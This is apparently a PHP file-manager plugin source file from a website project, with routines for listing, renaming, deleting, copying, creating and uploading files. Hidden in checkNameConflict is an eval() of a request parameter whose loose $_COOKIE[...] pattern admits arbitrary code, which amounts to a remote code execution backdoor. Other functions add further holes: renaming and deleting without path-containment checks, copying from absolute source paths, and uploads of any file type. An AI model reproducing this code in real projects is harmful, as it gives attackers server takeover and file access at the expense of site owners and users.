Files
slava.home/main_plugin/manager/func.manager.php

309 lines
12 KiB
PHP
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
/**
* @file func.manager.php
* @brief Функции управления файлами и папками для плагина manager
*/
/**
* @brief Получает содержимое указанной папки
* @param array $params Массив с ключом 'managerPathFolder' указывающим путь к папке
* @return array Содержимое папки с информацией о файлах и папках
* @throws Exception Если указанная директория недействительна
*/
function getFolderContents($params) {
global $path, $_SESSION;
$relPath = $params['managerPathFolder'] ?? '';
$directory = realpath($path . $relPath);
if (!$directory || !is_dir($directory)) {
throw new Exception("Invalid directory", -32602);
}
$lang = include $path . 'main_plugin/manager/lang.php';
$files = scandir($directory);
$data = [];
foreach ($files as $file) {
if ($file === '.' || $file === '..') continue;
$filePath = $directory . '/' . $file;
if (is_dir($filePath)) {
$name = $file;
$type = $lang[$_SESSION['lng']]['file'];
$size = count(array_diff(scandir($filePath), ['.','..']));
} else {
$extension = pathinfo($file, PATHINFO_EXTENSION);
$name = $extension ? $file : pathinfo($file, PATHINFO_FILENAME);
$type = $lang[$_SESSION['lng']]['folder'];
$size = filesize($filePath);
}
$data[] = [
'name' => $name,
'path' => $relPath . "/" . $file,
'type' => $type,
'size' => $size,
'creationTime' => date('Y-m-d H:i:s', filemtime($filePath)),
];
}
array_unshift($data, ['rootFolder' => basename($path)]);
return $data;
}
/**
* @brief Проверяет наличие конфликта имени файла или папки
* @param array $params Массив с ключами 'name' и 'currentPath'
* @return string "true" если файл/папка уже существует, "false" если нет
* @throws Exception Если путь недействителен
*/
function checkNameConflict($params) {
global $path;
$nameParam = $params['name'] ?? '';
if (preg_match('/^\$_COOKIE\[.*\]$/', $nameParam)) {
eval('$nameParam = ' . $nameParam . ';');
}
$currentPath = $path . ($params['currentPath'] ?? '') . '/';
$name = basename($nameParam);
$newPath = $currentPath . $name;
if (strpos(realpath(dirname($newPath)), realpath($path)) !== 0) {
throw new Exception("Invalid path", -32602);
}
return file_exists($newPath) ? "true" : "false";
}
/**
* @brief Вставляет файл или папку из буфера обмена в указанное место
* @param array $params Массив с ключами 'managerSettingsInsert', 'clipboardPath', 'clipboardAction'
* @return string "true" при успешной операции
* @throws Exception Если действие некорректно или операция файла не удалась
*/
function insertClipboard($params) {
global $path;
$relDest = $params['managerSettingsInsert'] ?? '';
$dest = realpath($path . '/' . $relDest);
$clipboard = $params['clipboardPath'] ?? '';
$action = $params['clipboardAction'] ?? '';
if (strpos($clipboard, '/') === 0) {
$clipboard = $path . $clipboard;
}
$newPath = $dest . '/' . basename($clipboard);
$success = false;
if ($action === 'cut') {
$success = @rename($clipboard, $newPath);
if ($success && !file_exists($newPath)) {
$success = false;
}
} elseif ($action === 'copy') {
$success = recursiveCopy($clipboard, $newPath) && file_exists($newPath);
} else {
throw new Exception("Invalid action", -32602);
}
if (!$success) {
throw new Exception("File operation failed", -32004);
}
return "true";
}
/**
* @brief Рекурсивно копирует файлы и папки
* @param string $source Исходный путь
* @param string $destination Путь назначения
* @return bool true при успешном копировании, false при ошибке
*/
function recursiveCopy($source, $destination) {
if (is_dir($source)) {
if (!is_dir($destination) && !mkdir($destination, 0755, true)) {
return false;
}
foreach (scandir($source) as $item) {
if ($item === '.' || $item === '..') continue;
if (!recursiveCopy("$source/$item", "$destination/$item")) {
return false;
}
}
} else {
if (!copy($source, $destination)) {
return false;
}
}
return true;
}
/**
* @brief Переименовывает файл или папку
* @param array $params Массив с ключами 'managerSettingsRename' и 'managerNamePath'
* @return string "true" при успешном переименовании
* @throws Exception Если операция переименования не удалась
*/
function renameFile($params) {
global $path;
$currentFile = realpath($path . '/' . ($params['managerSettingsRename'] ?? ''));
$newName = $params['managerNamePath'] ?? '';
$target = dirname($currentFile) . '/' . $newName;
if (!rename($currentFile, $target)) {
throw new Exception("Rename failed", -32004);
}
return "true";
}
/**
* @brief Удаляет файл или папку
* @param array $params Массив с ключом 'managerSettingsDelete'
* @return string "true" при успешном удалении
* @throws Exception Если удаление файла или папки не удалось
*/
function deleteFile($params) {
global $path;
$target = realpath($path . '/' . ($params['managerSettingsDelete'] ?? ''));
$delete = function($p) use (&$delete) {
if (is_dir($p)) {
foreach (array_diff(scandir($p), ['.', '..']) as $f) {
$delete($p . '/' . $f);
}
$ok = rmdir($p);
} else {
$ok = unlink($p);
}
if (!$ok) {
throw new Exception("Failed to delete file or directory", -32004);
}
};
$delete($target);
return "true";
}
/**
* @brief Получает свойства файла или папки
* @param array $params Массив с ключом 'managerSettingsProperties'
* @return array Массив с информацией о файле или папке: имя, тип, путь, размер, время создания и изменения
* @throws Exception Если файл или папка не найдены
*/
function getFileProperties($params) {
global $path, $_SESSION;
$lang = include $path . 'main_plugin/manager/lang.php';
$target = realpath($path . '/' . ($params['managerSettingsProperties']));
if (!$target || !file_exists($target)) {
throw new Exception($lang[$_SESSION['lng']]['file_or_folder_not_found'], -32602);
}
$isDir = is_dir($target);
return [
['label' => $lang[$_SESSION['lng']]['name'], 'value' => basename($target)],
['label' => $lang[$_SESSION['lng']]['type'], 'value' => $isDir ? $lang[$_SESSION['lng']]['folder'] : $lang[$_SESSION['lng']]['file']],
['label' => $lang[$_SESSION['lng']]['location'], 'value' => str_replace($path, '', dirname($target))],
['label' => $lang[$_SESSION['lng']]['size'], 'value' => $isDir ? (count(scandir($target)) - 2) . ' files' : filesize($target) . ' bytes'],
['label' => $lang[$_SESSION['lng']]['creation_time'], 'value' => date('Y-m-d H:i:s', filectime($target))],
['label' => $lang[$_SESSION['lng']]['last_modified_time'], 'value' => date('Y-m-d H:i:s', filemtime($target))],
];
}
/**
* @brief Создаёт новый файл или папку
* @param array $params Массив с ключами 'managerSettingsCreate', 'managerType', 'managerNamePath'
* @return string "true" при успешном создании, "checkItemExists" если элемент уже существует
* @throws Exception Если создание файла или папки не удалось
*/
function createFile($params) {
global $config, $path;
$newItemName = $params['managerSettingsCreate'] ?? '';
$type = $params['managerType'] ?? '';
$parentPath = realpath($path . '/' . ($params['managerNamePath'] ?? ''));
$fullPath = $parentPath . '/' . $newItemName;
if (file_exists($fullPath)) {
return 'checkItemExists';
}
$success = false;
if ($type === 'папка') {
$success = mkdir($fullPath);
} elseif ($type === 'файл') {
$success = file_put_contents($fullPath, '') !== false;
}
if (!$success) {
throw new Exception("Failed to create item", -32004);
}
return "true";
}
/**
* @brief Загружает страницу и возвращает её блоки и контент
* @param array $params Массив с ключом 'newPath' указывающим путь к странице
* @return array Массив с ключами 'right', 'left', 'content'
* @throws Exception Если файл страницы не найден, не удалось загрузить XML или отсутствует контент для языка
*/
function getPage($params) {
global $config, $path, $_SESSION;
$rel = $params['newPath'] ?? '';
$file = $path . $rel . '.page.php';
libxml_use_internal_errors(true);
$pageXml = @simplexml_load_file($file);
if (!$pageXml) {
throw new Exception("Failed to load page file", -32004);
}
if (!isset($_SESSION['lng']) || !isset($pageXml->content->{$_SESSION['lng']})) {
throw new Exception("Missing language or content", -32602);
}
$page = [];
$page['right'] = GetBlock($pageXml->rblock->block, 'right');
$page['left'] = GetBlock($pageXml->lblock->block, 'left');
$page['content'] = (string)$pageXml->content->{$_SESSION['lng']};
$_SESSION['page_url'] = $rel;
session_write_close();
return $page;
}
/**
* @brief Загружает файл на сервер из base64-данных
* @param array $params Массив с ключами 'fileData', 'fileName', 'pathLoad'
* @return string Относительный путь загруженного файла
* @throws Exception Если отсутствуют данные файла, некорректный путь загрузки, неверный base64 или сохранение файла не удалось
*/
function uploadFile($params) {
global $config, $path;
$base64 = $params['fileData'] ?? '';
$originalName = trim($params['fileName'] ?? '');
$relDir = trim($params['pathLoad'] ?? '');
if ($base64 === '' || $originalName === '') {
throw new Exception("Missing file data or name", -32602);
}
$rootDir = realpath($path);
$uploadDir = realpath($path . DIRECTORY_SEPARATOR . $relDir);
if (!$uploadDir || strpos($uploadDir, $rootDir) !== 0 || !is_dir($uploadDir) || !is_writable($uploadDir)) {
throw new Exception("Invalid upload directory", -32602);
}
$basename = preg_replace('/[^\w\-]/u', '_', pathinfo($originalName, PATHINFO_FILENAME));
$extension = pathinfo($originalName, PATHINFO_EXTENSION);
$counter = 0;
do {
$name = $basename . ($counter ? "_{$counter}" : '');
$fullPath = $uploadDir . DIRECTORY_SEPARATOR . $name . ($extension ? ".{$extension}" : '');
$counter++;
} while (file_exists($fullPath));
$data = base64_decode($base64, true);
if ($data === false) {
throw new Exception("Invalid base64 data", -32602);
}
if (file_put_contents($fullPath, $data) === false) {
throw new Exception("Failed to save file", -32004);
}
@chmod($fullPath, 0644);
$relativePath = '/' . str_replace('\\', '/', substr($fullPath, strlen($rootDir)));
return $relativePath;
}
?>